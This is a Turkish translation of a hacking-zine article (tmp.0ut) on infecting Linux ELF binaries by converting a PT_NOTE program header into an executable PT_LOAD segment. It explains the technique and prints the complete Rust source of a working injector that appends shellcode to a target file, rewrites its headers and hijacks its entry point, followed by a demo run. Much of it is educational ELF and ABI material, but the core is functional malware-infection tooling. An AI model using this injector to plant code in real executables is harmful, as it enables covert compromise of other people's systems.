\_______________________________________________________________________/
o_/_________________________________________________________________________\_o
   | |          ___________                              __              | |
   | |          \__    ___/____ ______      ____  __ ___/  |_            | |
   | |            |    | /     \\____ \    /  _ \|  |  \   __\           | |
   | |            |    ||  Y Y  \  |_> >  (  <_> )  |  /|  |             | |
   | |            |____||__|_|  /   __/ /\ \____/|____/ |__|             | |
   | |                        \/|__|    \/                               | |
   | |                                                                   | |
   | |         ::: PT_NOTE to PT_LOAD ELF injector (in Rust) :::         | |
   | |              tmp.0ut'tan d3npa tarafından sevgilerle <3
   | |                                                                   | |

+------------------------------------------------------------------------------
| Japonca versiyonunu Github üzerinden bulabilirsiniz / 日本語版はGithubにてご覧できます
| https://github.com/d3npa/hacking-trix-rust/blob/main/elf/ptnote-infector
| [ Çeviri @batcain tarafından yapılmıştır ]
+------------------------------------------------------------------------------

SymbolCrash blogunda ELF dosyasının başlık bilgilerinde bulunan PT_NOTE yapısını
PT_LOAD yapısına çevirerek shellcode enjekte etmek üzerine bir teknik okudum. 
Bu teknik bana ilginç ve ilgi çekici geldi, ben de ELF dosya yapısı üzerine çok 
bilgili değildim; dolayısıyla bu durumu aynı anda birçok şeyi öğrenmek için bir 
fırsat olarak değerlendirdim.

Bu proje için mental_elf adını verdiğim, ELF meta bilgilerini okumayı ve işlemeyi
kolaylaştıran, ufak ve daha tamamlanmamış bir kütüphane dosyası oluşturdum. 
Oluşturduğum kütüphanenin kodunun sade ve anlaması kolay olduğu kanaatindeyim, 
dolayısıyla bu yazıda kaynak kodlarını açıklamayacağım.

====[ genel bir bakış ]==================================================================

Başlıkta da belirttiğim üzere, bu dosya ulaştırma tekniği ELF dosyasının başlık 
bilgilerindeki PT_NOTE yapısının shellcode çalıştırmak için PT_LOAD yapısına 
dönüştürülmesinden ibaret. Bütün bu süreç aşağıdaki üç aşamada açıklanabilir:

    - Zararlı kodun ELF dosyasının sonuna eklenmesi
    - Zararlı kodun sanal adreslemede belirli bir adrese yüklenmesi
    - ELF dosyasının giriş noktasının zararlı kod başlangıç adresiyle 
    değiştirilmesi, bu yolla zararlı kodun ELF dosyası içeriğinden önce çalıştırılması

Zararlı kodun çalıştırıldıktan sonra enjekte edildiği her ELF dosyasının orijinal 
giriş noktasından programa devam edecek şekilde ayarlanması gerekiyor, bunu zararlının 
enjekte edildiği ELF dosyasının çalıştığından emin olmak amacıyla yapıyoruz.

Zararlı kod PT_LOAD yapısı kullanılarak program hafızasına yüklenebilir. Bir 
ELF dosyasına yeni bir program başlık bilgisi eklemek dosyayı çalışmaz hale 
getirebilir, ancak zaten var olan PT_NOTE başlığına yeni bir amaç verirsek bu 
teknik çalıştırılabilir dosyayı bozmadan kullanılabilir.

Aşağıda, ELF dosya formatı dokümentasyonundaki "Note" bölümüne dair bir kesit veriyorum: 

    +--------------------------------------------------------------------------
    | Note bilgisi opsiyoneldir. Note bilgilerinin varlığı programın 
    | ABI performansını etkilemediği gibi, sağlanan bilgiler programın çalışma 
    | esnasındaki davranışını da etkilemez. Diğer türlü, program ABI 
    | (Application Binary Interface) tanımlanmamış davranışlara sebep olabilir. 
    +--------------------------------------------------------------------------

Benim bu süreçte farkına vardığım iki durumdan bahsedecek olursak:

    - Basit teknikler PIE yüzünden çalışmıyor
    - Go dili çalışma esnasında içerisinde versiyon bilgisi 
    bulunduran geçerli bir PT_NOTE yapısına ihtiyaç duyuyor, 
    bu nedenle incelediğimiz teknik Go çalıştırılabilir 
    dosyalarında kullanılamıyor

Not: PIE, cc boyutunda rustc ile kullanılacak `-C relocation-model=static` 
komutunda `-no-pie` argümanıyla devre dışı bırakılabiliyor.

====[ shellcode ]========================================================================

Kullanacağımız zararlı kodu NetWrite Assembler (NASM) için yazacağız, 
dolayısyla Makefile dosyanızı çalıştırmadan önce `nasm` yüklediğinizden 
emin olun!

Bu enjeksiyon tekniği için zararlı kodu oluşturabilmek için aklımızda 
bulundurmamız gereken birkaç şey bulunuyor.

AMD64 SYSTEM V ABI dokümentasyonun 3.4.1 kısmında rbp, rsp ve rdx 
kaydedicilerinin program girişinden önce doğru değerleri bulundurduğundan 
emin olmak gerekiyor.

Bu koşulu sağlamak için zararlı kodda normalde de olduğu gibi birkaç tane 
"push" ve "pop" operasyonuna ihtiyaç duyuyoruz. 

Benim oluşturduğum zararlı kod rbp ve rsp içerisindeki değerlere müdahale 
etmiyor, ayrıca programa dönmeden önce rdx işaretçisini sıfıra eşitlemek de 
çalışıyor.

Zararlı kodun işi bittikten sonra asıl programa atlayacak şekilde düzenlenmesi 
gerekiyor. Bu düzenleme işlemini kolaylaştırmak adına zararlı kodun gerek 
top-to-bottom yöntemiyle, gerek çalışma sekansı sırasında zararlı boş bir label 
üzerinden koda atlamayla asıl çalıştırılabilir dosyanın son demlerinde 
çalıştırılması sağlanabilir. 

    +--------------------------------------------------------------------------
    | main_tasks:
    |    ; ...
    |    jmp finish
    | other_tasks:
    |     ; ...
    | finish:
    +--------------------------------------------------------------------------

Bu tasarımla düzenleme işlemi bir atlama komutu ekleme seviyesine indirgenebiliyor. 
Ancak, x86_64 mimarisinde jmp komutu 64 bit bir argüman alamıyor. Bu durumun 
üstesinden gelmek için atlama adresini rax işaretçisinde tutup `jmp rax` komutunu 
kullanabilirsiniz. Rust ile yazdığım bu kod parçası, oluşturduğum "shellcode" bayt 
vektörünü giriş noktasından yapılacak bir atlama operasyonuna ekleyecek şekilde 
çalışıyor:

    +--------------------------------------------------------------------------
    | fn patch_jump(shellcode: &mut Vec<u8>, entry_point: u64) {
    |     // entry_point adresini rax içinde sakla
    |     shellcode.extend_from_slice(&[0x48u8, 0xb8u8]);
    |     shellcode.extend_from_slice(&entry_point.to_ne_bytes());
    |     // rax işaretçisindeki adrese atla
    |     shellcode.extend_from_slice(&[0xffu8, 0xe0u8]);
    | }
    +--------------------------------------------------------------------------

====[ bulaştırma işlemi ]================================================================

Zararlı kodu bulaştırma işlemi src/main.rs dosyasında gerçekleşiyor.
Takip etmesi kolay olsun diye top-to-bottom formatında yazdım, genel olarak ne yaptığını 
anlayabilirseniz oldukça açık olmalı. Ayrıca anlamaya yardımcı olması bakımından yorum 
satırları eklemeye özen gösterdim. Kod, yazdığım mental-elf kütüphanesini kullanarak bir 
çalıştırılabilir dosyayı okuma ve yazma işlemlerini soyutlaştırma ve kolaylaştıma amacını 
taşıyor; dolayısıyla tekniği görmeyi kolaylaştırıyor.

Özetle, kod şunları yapıyor:
- 2 tane komut satırı parametresi alıyor: hedef ELF dosyası ve zararlı kod
- ELF dosyasını ve program başlık bilgilerini okuyor
- Zararlı kodu programın başlanıgıç noktasına atlayacak şekilde düzenliyor
- Düzenlenmiş zararlı kodu ELF dosyasının sonuna ekliyor
- Program başlıklarından PT_NOTE yapısını bulup PT_LOAD yapısı olarak değiştiriyor
- ELF dosyasının giriş noktasını zararlı kodun giriş noktası olacak şekilde değiştiriyor
- Değiştirilmiş başlık bilgilerini ELF dosyasının üzerine yazıyor

Zararlı kod bulaştırılmış ELF dosyası çalıştırıldığında, ELF dosya yükleyicisi birkaç kısmı 
sanal hafızaya yerleştiriyor - bizim tarafımızdan oluşturulmuş PT_LOAD yapısı zararlı 
kodumuzun yüklendiğinden ve çalıştırılabileceğinden emin oluyor.  ELF dosyasının giriş 
noktası zararlı kodun çalıştırılacağı giriş noktasından başlatılıyor. Zararlı kod çalışmayı 
bitirdiğinde ELF dosyasının orijinal giriş noktasına atlıyor ve çalıştırılabilir dosyanın 
orijinal kodunu çalıştırmasını sağlıyor. 

    +--------------------------------------------------------------------------
    | $ make
    | cd files && make && cd ..
    | make[1]: Entering directory '/.../files'
    | rustc -C opt-level=z -C debuginfo=0 -C relocation-model=static target.rs
    | nasm -o shellcode.o shellcode.s
    | make[1]: Leaving directory '/.../files'
    | cargo run --release files/target files/shellcode.o
    | Compiling mental_elf v0.1.0 
    (https://github.com/d3npa/mental-elf#0355d2d3)
    | Compiling ptnote-to-ptload-elf-injection v0.1.0 (/...)
    |     Finished release [optimized] target(s) in 1.15s
    |     Running `target/release/ptnote-to-ptload-elf-injection files/target 
    files/shellcode.o`
    | Found PT_NOTE section; converting to PT_LOAD
    | echo 'Done! Run target with: `./files/target`'
    | Done! Run target with: `./files/target`
    | $ ./files/target
    | dont tell anyone im here
    | hello world!
    | $
    +--------------------------------------------------------------------------

====[ kapanış ]==========================================================================

Bu çok eğlenceli bir projeydi! Rust, ELF ve zararlılar hakkında birçok şey 
öğrendim. Bu proje süresince bana öğreten, hata ayıklamama yardım eden ve 
motive eden netspooky, sblip, TMZ ve tmp.0ut topluluğuna teşekkür ederim <3

Ekler:
- https://www.symbolcrash.com/2019/03/27/pt_note-to-pt_load-injection-in-elf/
- http://www.skyfree.org/linux/references/ELF_Format.pdf
- https://refspecs.linuxfoundation.org/elf/x86_64-abi-0.95.pdf
- https://github.com/d3npa/mental-elf

Kaynak koda aşağıdan ulaşabilirsiniz.

------------------------------------------------------------------------------
  Cargo.toml
------------------------------------------------------------------------------

[package]
...

[dependencies.mental_elf]
git = "https://github.com/d3npa/mental-elf"
rev = "0355d2d35558e092a038589fc8b98ac9bc70c37b"

------------------------------------------------------------------------------
  main.rs
------------------------------------------------------------------------------

use mental_elf::elf64::constants::*;
use std::{env, fs, process};
use std::io::prelude::*;
use std::io::SeekFrom;

fn main() -> Result<(), Box<dyn std::error::Error>> {
    let args: Vec<String> = env::args().collect();
    if args.len() != 3 {
        eprintln!("Usage: {} <ELF File> <Shellcode File>", args[0]);
        process::exit(1);
    }

    let elf_path = &args[1];
    let sc_path = &args[2];

    // Open target ELF file with RW permissions
    let mut elf_fd = fs::OpenOptions::new()
        .read(true)
        .write(true)
        .open(&elf_path)?;

    // Load shellcode from file
    let mut shellcode: Vec<u8> = fs::read(&sc_path)?;

    // Parse ELF and program headers
    let mut elf_header = mental_elf::read_elf64_header(&mut elf_fd)?;
    let mut program_headers = mental_elf::read_elf64_program_headers(
        &mut elf_fd, 
        elf_header.e_phoff, 
        elf_header.e_phnum,
    )?;

    // Patch the shellcode to jump to the original entry point after finishing
    patch_jump(&mut shellcode, elf_header.e_entry);

    // Append the shellcode to the very end of the target ELF
    elf_fd.seek(SeekFrom::End(0))?;
    elf_fd.write(&shellcode)?;

    // Calculate offsets used to patch the ELF and program headers
    let sc_len = shellcode.len() as u64;
    let file_offset = elf_fd.metadata()?.len() - sc_len;
    let memory_offset = 0xc00000000 + file_offset;

    // Look for a PT_NOTE section
    for phdr in &mut program_headers {
        if phdr.p_type == PT_NOTE {
            // Convert to a PT_LOAD section with values to load shellcode
            println!("Found PT_NOTE section; converting to PT_LOAD");
            phdr.p_type = PT_LOAD;
            phdr.p_flags = PF_R | PF_X;
            phdr.p_offset = file_offset;
            phdr.p_vaddr = memory_offset;
            phdr.p_memsz += sc_len as u64;
            phdr.p_filesz += sc_len as u64;
            // Patch the ELF header to start at the shellcode
            elf_header.e_entry = memory_offset;
            break;
        }
    }

    // Commit changes to the program and ELF headers
    mental_elf::write_elf64_program_headers(
        &mut elf_fd, 
        elf_header.e_phoff,
        elf_header.e_phnum,
        program_headers,
    )?;
    mental_elf::write_elf64_header(&mut elf_fd, elf_header)?;

    Ok(())
}

fn patch_jump(shellcode: &mut Vec<u8>, entry_point: u64) {
    // Store entry_point in rax
    shellcode.extend_from_slice(&[0x48u8, 0xb8u8]);
    shellcode.extend_from_slice(&entry_point.to_ne_bytes());
    // Jump to address in rax
    shellcode.extend_from_slice(&[0xffu8, 0xe0u8]);
}

------------------------------------------------------------------------------
------------------------------------------------------------------------------